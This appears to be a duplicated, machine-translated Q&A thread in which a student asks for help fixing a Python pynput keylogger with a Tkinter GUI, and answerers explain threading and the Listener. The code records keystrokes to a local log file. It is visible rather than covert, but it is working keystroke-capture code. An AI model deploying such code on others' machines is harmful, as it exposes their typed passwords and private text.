Tkinter 和键盘记录器的错误
Errors with Tkinter and Keylogger
我正在尝试为学校项目编写键盘记录程序,但遇到错误;
- 写入 txt 文件时,空格不起作用,因此所有文本都放在一起。
- 我无法加载 GUI,我正在使用 Tkinter,即使我让它工作,它也会在启动后冻结和崩溃。
如果有任何修复或帮助,将不胜感激。这是我的代码:
# Keylogger Program Using Pynput
# Imports
from tkinter import *
import os
from pynput.keyboard import Key, Listener
import pynput
from keylogger import on_press, on_release
count = 0
keys = []
def start_keylogger():
# For every 5 keys pressed the log will update, this value can change.
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 2:
count = 0
write_file(keys)
keys = []
# Making the log file more readable.
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write(" ")
elif k.find("Key") == -1:
f.write(k)
# To exit/stop the keylogger.
def on_release(key):
if key == Key.esc:
return False
# For the keylogger itself.
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
def open_log():
ff = open("log.txt", "r")
print(ff.read())
# Simple GUI
# Creating the window
# Modifying the window
root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")
# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()
# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white", command=start_keylogger)
button1.pack(fill=X)
# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white", command=open_log)
button2.pack(fill=X)
# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill=X)
# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief=SUNKEN, anchor=W)
status.pack(side=BOTTOM, fill=X)
root.mainloop()
谢谢!
尝试这样的事情:
from tkinter import *
from threading import Thread
import time
def _start_keylogger():
# I am replacing all of the keylogger code with a `time.sleep`
time.sleep(10)
def start_keylogger():
new_thread = Thread(target=_start_keylogger, daemon=True)
new_thread.start()
root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")
# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()
# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white",
command=start_keylogger)
button1.pack(fill="x")
# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white",
command=None)
button2.pack(fill="x")
# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill="x")
# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief="sunken",
anchor="w")
status.pack(side="bottom", fill="x")
root.mainloop()
我使用 new_thread = Threading(target=..., daemon=True)
创建新线程,然后 new_thread.start()
启动线程。请注意,我用 time.sleep
替换了所有键盘记录代码,因为我没有安装该库。
你必须把代码放在监听器里面
with Listener(on_press=on_press, on_release=on_release) as listener:
# ... your code with GUI ...
# ... or at least `root.mainloop()
listener.join()
或者你可以写得有点不同,但可能更容易理解。
listener = Listener(on_press=on_press, on_release=on_release)
listener.start()
# ... your code with GUI ...
# ... or at least `root.mainloop()`
listener.stop()
listener.join()
Listener
已经使用 thread
到 运行 它的代码(这就是为什么它像 thread
一样使用 .join()
)并且没有必要放在另一个线程里。
class AbstractListener(threading.Thread)
有 source code,稍后用于创建 keyboard.Listener
和 mouse.Listener
。在评论中的这段代码中,您还可以看到如何将它与 start
、stop
和 try/except.
一起使用
我正在尝试为学校项目编写键盘记录程序,但遇到错误;
- 写入 txt 文件时,空格不起作用,因此所有文本都放在一起。
- 我无法加载 GUI,我正在使用 Tkinter,即使我让它工作,它也会在启动后冻结和崩溃。 如果有任何修复或帮助,将不胜感激。这是我的代码:
# Keylogger Program Using Pynput
# Imports
from tkinter import *
import os
from pynput.keyboard import Key, Listener
import pynput
from keylogger import on_press, on_release
count = 0
keys = []
def start_keylogger():
# For every 5 keys pressed the log will update, this value can change.
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 2:
count = 0
write_file(keys)
keys = []
# Making the log file more readable.
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write(" ")
elif k.find("Key") == -1:
f.write(k)
# To exit/stop the keylogger.
def on_release(key):
if key == Key.esc:
return False
# For the keylogger itself.
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
def open_log():
ff = open("log.txt", "r")
print(ff.read())
# Simple GUI
# Creating the window
# Modifying the window
root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")
# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()
# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white", command=start_keylogger)
button1.pack(fill=X)
# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white", command=open_log)
button2.pack(fill=X)
# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill=X)
# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief=SUNKEN, anchor=W)
status.pack(side=BOTTOM, fill=X)
root.mainloop()
谢谢!
尝试这样的事情:
from tkinter import *
from threading import Thread
import time
def _start_keylogger():
# I am replacing all of the keylogger code with a `time.sleep`
time.sleep(10)
def start_keylogger():
new_thread = Thread(target=_start_keylogger, daemon=True)
new_thread.start()
root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")
# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()
# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white",
command=start_keylogger)
button1.pack(fill="x")
# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white",
command=None)
button2.pack(fill="x")
# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill="x")
# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief="sunken",
anchor="w")
status.pack(side="bottom", fill="x")
root.mainloop()
我使用 new_thread = Threading(target=..., daemon=True)
创建新线程,然后 new_thread.start()
启动线程。请注意,我用 time.sleep
替换了所有键盘记录代码,因为我没有安装该库。
你必须把代码放在监听器里面
with Listener(on_press=on_press, on_release=on_release) as listener:
# ... your code with GUI ...
# ... or at least `root.mainloop()
listener.join()
或者你可以写得有点不同,但可能更容易理解。
listener = Listener(on_press=on_press, on_release=on_release)
listener.start()
# ... your code with GUI ...
# ... or at least `root.mainloop()`
listener.stop()
listener.join()
Listener
已经使用 thread
到 运行 它的代码(这就是为什么它像 thread
一样使用 .join()
)并且没有必要放在另一个线程里。
class AbstractListener(threading.Thread)
有 source code,稍后用于创建 keyboard.Listener
和 mouse.Listener
。在评论中的这段代码中,您还可以看到如何将它与 start
、stop
和 try/except.